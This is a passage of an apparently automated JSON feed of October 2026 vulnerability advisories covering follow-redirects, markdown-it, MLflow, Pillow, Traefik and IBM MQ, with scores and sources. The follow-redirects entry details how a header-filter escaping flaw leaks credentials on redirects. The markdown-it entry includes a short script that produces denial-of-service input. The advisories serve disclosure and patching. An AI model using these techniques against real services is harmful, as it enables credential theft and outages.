page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-q3jh-wrc6-jgq8, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-111756","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111756","type":"primary","publishedAt":"2026-10-20T18:17:18.070Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111756&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111756, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111755","cveId":"CVE-2026-111755","aliases":["GHSA-8r9p-f939-6h3c"],"kind":"vulnerability","title":"follow-redirects sensitiveHeaders regex escaping can expose credential headers","summary":"```js\nthis._headerFilter = new RegExp(\"^(?:\" +\n sensitiveHeaders.concat(options.sensitiveHeaders).map(escapeRegex).join(\"|\") +\n \")$\", \"i\");\n```\n\n`escapeRegex` at `index.js:703-705`:","detail":"### Summary\nfollow-redirects 1.16.0 introduced the `sensitiveHeaders` option (the fix for CVE-2026-40895 / GHSA-r4q5-vmmm-2653), which lets an application declare extra header names that must be removed when a redirect crosses to a different host or downgrades protocol. The filter is a single case-insensitive regular expression built by concatenating the declared header names into an alternation after passing each through `escapeRegex`. `escapeRegex` escapes only a partial set of metacharacters and leaves `^`, `|`, `[`, `{`, and `}` unescaped. Header names may legitimately contain `^` and `|` (both are valid RFC 9110 token characters that Node accepts and sends), and for a declared name containing either, the generated pattern can never match the intended header. As a result, an application that adopts this option to protect a custom credential header, then follows an attacker-controlled cross-origin redirect, forwards that credential to the attacker with no error or warning, while believing it is protected. The failure is silent: the protection simply does not exist for the affected names. The built-in list (Authorization, Proxy-Authorization, Cookie) contains no metacharacters and is not affected by this defect.\n\n### Details\nThe filter is constructed once, in the `RedirectableRequest` constructor at `index.js:118-120`:\n\n```js\nthis._headerFilter = new RegExp(\"^(?:\" +\n sensitiveHeaders.concat(options.sensitiveHeaders).map(escapeRegex).join(\"|\") +\n \")$\", \"i\");\n```\n\n`escapeRegex` at `index.js:703-705`:\n\n```js\nfunction escapeRegex(regex) {\n return regex.replace(/[\\]\\\\/()*+?.$]/g, \"\\\\$&\"); // escapes ] \\ / ( ) * + ? . $ -- NOT ^ | [ { }\n}\n```\n\nThe character class escapes `]`, `\\`, `/`, `(`, `)`, `*`, `+`, `?`, `.`, and `$`. It omits `^`, `|`, `[`, `{`, and `}`. Of these, Node's `http.ClientRequest` accepts `^` and `|` in header names (they are valid `tchar` values under RFC 9110) and rejects `[`, `{`, `}` with `ERR_INVALID_HTTP_TOKEN`, so `^` and `|` are the reachable vectors for a silent credential leak. Separately, although `[`, `{`, `}` cannot appear as live header names, declaring a `sensitiveHeaders` entry that contains one of them injects an unbalanced token into the alternation (for example an unterminated character class), so the filter `RegExp` throws a `SyntaxError` in the `RedirectableRequest` constructor and the request fails to start. That case is a loud request-time crash from the same incomplete-escaping root cause rather than a silent bypass, and the canonical escaper below fixes it as well.\n\nFor a declared sensitive header name containing an unescaped metacharacter, the alternation is broken in a fail-open way:\n\n- A name containing `^`, for example `X-Api^Key`, yields the alternative `X-Api^Key` inside the pattern. The `^` becomes a mid-pattern start-of-string anchor, so the alternative can never match any real header name. `test(\"X-Api^Key\")` returns `false`, and the header is not stripped.\n- A name containing `|`, for example `X-Token|Secret`, is split into two separate alternatives `X-Token` and `Secret`. The real header `X-Token|Secret` is never matched (not stripped), while unrelated headers literally named `X-Token` or `Secret` would be stripped instead.\n\nThe generated filter source, reproduced from the exact library logic, is:\n```\n^(?:Authorization|Proxy-Authorization|Cookie|X-Api^Key|X-Token|Secret|X-Control-Key)$\n```\nDirect matching results against this filter: `X-Api^Key` -> false, `X-Token|Secret` -> false, `X-Control-Key` (normal name) -> true, and the split-off `X-Token` -> true and `Secret` -> true (collateral wrong-stripping). The built-ins Authorization, Proxy-Authorization, Cookie all -> true.\n\nSecondary, related weakness (filter snapshot not refreshed after `beforeRedirect`): the filter is built once at construction and applied at `index.js:490`, which runs before the `beforeRedirect(this._options, ...)` hook and the subsequent `_sanitizeOptions` at `index.js:494-506`. Because the strip happens before the hook and `this._headerFilter` is never rebuilt, any entry a caller adds to `options.sensitiveHeaders` inside `beforeRedirect` is silently ignored. This facet is lower severity: mutating `sensitiveHeaders` inside `beforeRedirect` is not a documented usage of the option (the documented path is the request option), so it is best treated as a hardening item bundled with the escaping fix rather than an independent control bypass. It is included here because both issues undermine the same control and share a remediation.\n\nSuggested remediation: two changes close both facets.\n\n1. Escape the complete set of regular-expression metacharacters:\n```js\nfunction escapeRegex(str) { return str.replace(/[.*+?^${}()|[\\]\\\\]/g, \"\\\\$&\"); }\n```\nThis was verified to restore correct matching for all affected names while preserving the built-in matches.\n\n2. Build the filter at strip time, or rebuild it after the `beforeRedirect` hook re-sanitizes options, so entries added inside the hook take effect. For example, replace the cached `this._headerFilter` with a `this._getHeaderFilter()` that constructs the RegExp from the current `this._options.sensitiveHeaders` on each redirect.\n\nAdditionally, since header names have a strict grammar, consider validating each entry of `options.sensitiveHeaders` against the RFC 9110 token character set and throwing an explicit error on invalid names, so misconfiguration fails loudly. Add a unit test asserting that every declared name is actually matched by the generated filter; the current suite only exercises metacharacter-free names (`Sensitive-A`, `x-sensitive-b`), which is why the defect passes CI.\n\nReferences:\n- https://github.com/follow-redirects/follow-redirects/security/advisories/GHSA-r4q5-vmmm-2653\n- https://github.com/follow-redirects/follow-redirects/pull/284\n- https://github.com/follow-redirects/follow-redirects/commit/844c4d302ac963d29bdb5dc1754ec7df3d70d7f9\n\n### PoC\nEnvironment: Node.js v24.18.0 on Windows 11. Run each script from a c\n\nAffected package ranges reported by GitHub:\nfollow-redirects: >= 1.16.0, < 1.16.1","action":"GitHub lists first patched versions: follow-redirects: 1.16.1. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-20T17:53:05.000Z","updatedAt":"2026-10-20T17:53:07.000Z","regions":["Global"],"vendor":null,"product":"follow-redirects","stacks":["JavaScript packages (npm)","follow-redirects","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-8r9p-f939-6h3c","asOf":"2026-10-20T17:53:07.000Z"},"epss":{"probability":0.00471,"percentile":0.40483,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111755&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-8r9p-f939-6h3c","url":"https://github.com/advisories/GHSA-8r9p-f939-6h3c","type":"primary","publishedAt":"2026-10-20T17:53:05.000Z","checkedAt":"2026-10-26T14:15:55.780Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-8r9p-f939-6h3c, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-8r9p-f939-6h3c, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-111755","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111755","type":"primary","publishedAt":"2026-10-19T18:17:00.260Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111755&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111755, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111759","cveId":"CVE-2026-111759","aliases":["GHSA-r7fv-28h4-cvq7"],"kind":"vulnerability","title":"markdown-it: Quadratic complexity in smartquotes with unmatched closing quotes","summary":"When `typographer: true` is enabled, specially crafted Markdown can cause quadratic processing time in the smartquotes rule, potentially leading to denial of service in applications processing untrusted input.\n\nMany opening double quotes followed by unmatched closing single quotes cause repeated scans of the entire opener stack. The same issue occurs with the quote types reversed.","detail":"### Impact\n\nWhen `typographer: true` is enabled, specially crafted Markdown can cause quadratic processing time in the smartquotes rule, potentially leading to denial of service in applications processing untrusted input.\n\nMany opening double quotes followed by unmatched closing single quotes cause repeated scans of the entire opener stack. The same issue occurs with the quote types reversed.\n\nThe default configuration (`typographer: false`) is not affected, but this option is enabled with high probability.\n\n### Reproduction\n\n```js\nimport MarkdownIt from 'markdown-it'\nimport { performance } from 'node:perf_hooks'\n\nconst md = new MarkdownIt({ typographer: true })\n\nfor (const k of [2000, 4000, 8000, 16000, 32000]) {\n const input = '\"a '.repeat(k) + \"b' \".repeat(k)\n const start = performance.now()\n md.render(input)\n console.log(input.length, (performance.now() - start).toFixed(1), 'ms')\n}\n```\n\nResult:\n\n|input size|time|\n|-|-|\n|12000|18ms|\n|24000|47ms|\n|48000|115ms|\n|96000|428ms|\n|192000|1586ms|\n\n### Patches\n\nFixed in **15.0.2** and **14.3.2**.\n\n### Workarounds\n\nDisable typography with `typographer: false`, or disable only the smartquotes rule:\n\n```js\nmd.disable('smartquotes')\n```\n\nAffected package ranges reported by GitHub:\nmarkdown-it: >= 15.0.0, < 15.0.2\nmarkdown-it: < 14.3.2","action":"GitHub lists first patched versions: markdown-it: 15.0.2; markdown-it: 14.3.2. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-20T14:34:50.000Z","updatedAt":"2026-10-20T14:34:52.000Z","regions":["Global"],"vendor":null,"product":"markdown-it, markdown-it","stacks":["JavaScript packages (npm)","markdown-it","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://github.com/advisories/GHSA-r7fv-28h4-cvq7","asOf":"2026-10-20T14:34:52.000Z"},"epss":{"probability":0.00591,"percentile":0.47952,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111759&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-r7fv-28h4-cvq7","url":"https://github.com/advisories/GHSA-r7fv-28h4-cvq7","type":"primary","publishedAt":"2026-10-20T14:34:50.000Z","checkedAt":"2026-10-26T13:50:56.019Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-r7fv-28h4-cvq7, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-111759","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111759","type":"primary","publishedAt":"2026-10-19T18:17:00.570Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111759&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111759, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-53995","cveId":"CVE-2026-53995","aliases":["GHSA-wqmh-qccw-pqwf"],"kind":"vulnerability","title":"MLflow FileStore trace IDs allow path traversal and arbitrary file writes","summary":"MLflow 3.17.1 and earlier contains a path traversal vulnerability in the FileStore tracking backend that allows unauthenticated attackers to control filesystem paths by submitting a crafted trace ID containing traversal sequences to the POST /api/3.0/mlflow/traces endpoint. Attackers can exploit FileStore.start_trace() to write trace_info.yaml, request_metadata, and tag files with attacker-controlled metadata outside the intended experiment trace directory, subject to the server process's filesystem permissions. FileStore is the default tracking backend before MLflow 3.7.0 and opt-in thereafter (the default changed to a SQLite database), so deployments in the earlier part of the affected range are vulnerable without special configuration while later ones are affected only when FileStore is explicitly selected.","detail":"MLflow 3.17.1 and earlier contains a path traversal vulnerability in the FileStore tracking backend that allows unauthenticated attackers to control filesystem paths by submitting a crafted trace ID containing traversal sequences to the POST /api/3.0/mlflow/traces endpoint. Attackers can exploit FileStore.start_trace() to write trace_info.yaml, request_metadata, and tag files with attacker-controlled metadata outside the intended experiment trace directory, subject to the server process's filesystem permissions. FileStore is the default tracking backend before MLflow 3.7.0 and opt-in thereafter (the default changed to a SQLite database), so deployments in the earlier part of the affected range are vulnerable without special configuration while later ones are affected only when FileStore is explicitly selected.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T22:17:11.013Z","updatedAt":"2026-10-23T21:34:10.000Z","regions":["Global"],"vendor":null,"product":"mlflow","stacks":["Python packages (PyPI)","mlflow","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-wqmh-qccw-pqwf","asOf":"2026-10-23T21:34:10.000Z"},"epss":{"probability":0.00604,"percentile":0.48608,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-53995&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-53995","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-53995","type":"primary","publishedAt":"2026-10-19T22:17:11.013Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"GitHub-reviewed advisory GHSA-wqmh-qccw-pqwf","url":"https://github.com/advisories/GHSA-wqmh-qccw-pqwf","type":"primary","publishedAt":"2026-10-20T00:31:59.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-wqmh-qccw-pqwf, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-53995&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-53995, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112892","cveId":"CVE-2026-112892","aliases":["GHSA-gg2r-wvfm-q9rx"],"kind":"vulnerability","title":"Pillow: MSP RLE decoder expands a tiny file into unbounded memory","summary":"Pillow is a Python imaging library. From 4.1.0 until 13.0.0, Pillow's MSP RLE decoder can expand a small file into an unbounded in-memory buffer. The decoder writes run-length output to BytesIO without limiting expansion to the declared image size. An attacker can supply a crafted MSP image to an application that loads its pixels. This can exhaust memory and deny service even when the declared pixel count passes the decompression-bomb check. This issue is fixed in version 13.0.0.","detail":"Pillow is a Python imaging library. From 4.1.0 until 13.0.0, Pillow's MSP RLE decoder can expand a small file into an unbounded in-memory buffer. The decoder writes run-length output to BytesIO without limiting expansion to the declared image size. An attacker can supply a crafted MSP image to an application that loads its pixels. This can exhaust memory and deny service even when the declared pixel count passes the decompression-bomb check. This issue is fixed in version 13.0.0.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T22:17:09.210Z","updatedAt":"2026-10-22T22:18:02.063Z","regions":["Global"],"vendor":null,"product":"pillow","stacks":["Python packages (PyPI)","pillow","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112892","asOf":"2026-10-22T22:18:02.063Z"},"epss":{"probability":0.00417,"percentile":0.35771,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112892&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112892","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112892","type":"primary","publishedAt":"2026-10-19T22:17:09.210Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"GitHub-reviewed advisory GHSA-gg2r-wvfm-q9rx","url":"https://github.com/advisories/GHSA-gg2r-wvfm-q9rx","type":"primary","publishedAt":"2026-10-21T21:12:56.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-gg2r-wvfm-q9rx, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-gg2r-wvfm-q9rx, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-gg2r-wvfm-q9rx, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-gg2r-wvfm-q9rx, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-gg2r-wvfm-q9rx, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-gg2r-wvfm-q9rx, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-gg2r-wvfm-q9rx, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-gg2r-wvfm-q9rx, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-gg2r-wvfm-q9rx, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112892&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112892, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112778","cveId":"CVE-2026-112778","aliases":[],"kind":"vulnerability","title":"Traefik before 2.11.46, 3.x before 3.6.17, and 3.7.0 lack namespace validation for Ingress and Service annotations in the Kubernetes Ingress provider, allowing references to...","summary":"Traefik before 2.11.46, 3.x before 3.6.17, and 3.7.0 lack namespace validation for Ingress and Service annotations in the Kubernetes Ingress provider, allowing references to Middlewares, ServersTransports, and TLSOptions in other namespaces. Attackers able to create or update Ingress or Service resources in one namespace can set router.middlewares or service.serverstransport annotations to obtain another tenant's injected credentials or reuse its client certificates, bypassing namespace-based tenant isolation.","detail":"Traefik before 2.11.46, 3.x before 3.6.17, and 3.7.0 lack namespace validation for Ingress and Service annotations in the Kubernetes Ingress provider, allowing references to Middlewares, ServersTransports, and TLSOptions in other namespaces. Attackers able to create or update Ingress or Service resources in one namespace can set router.middlewares or service.serverstransport annotations to obtain another tenant's injected credentials or reuse its client certificates, bypassing namespace-based tenant isolation.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T20:17:55.187Z","updatedAt":"2026-10-23T17:04:01.690Z","regions":["Global"],"vendor":"traefik","product":"traefik","stacks":["Kubernetes","traefik"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.4,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112778","asOf":"2026-10-23T17:04:01.690Z"},"epss":{"probability":0.00204,"percentile":0.10265,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112778&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112778","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112778","type":"primary","publishedAt":"2026-10-19T20:17:55.187Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/traefik/traefik/security/advisories/GHSA-rh7m-2m44-x32f","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112778&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112778, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-12665","cveId":"CVE-2026-12665","aliases":[],"kind":"vulnerability","title":"IBM MQ could allow a remote attacker to execute arbitrary code due to a stack buffer overflow when processing TLS certificates with malformed distinguished names during channel...","summary":"IBM MQ could allow a remote attacker to execute arbitrary code due to a stack buffer overflow when processing TLS certificates with malformed distinguished names during channel connection establishment.","detail":"IBM MQ could allow a remote attacker to execute arbitrary code due to a stack buffer overflow when processing TLS certificates with malformed distinguished names during channel connection establishment.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T17:17:18.773Z","updatedAt":"2026-10-23T17:21:42.577Z","regions":["Global"],"vendor":"ibm","product":"mq operator","stacks":["IBM","mq 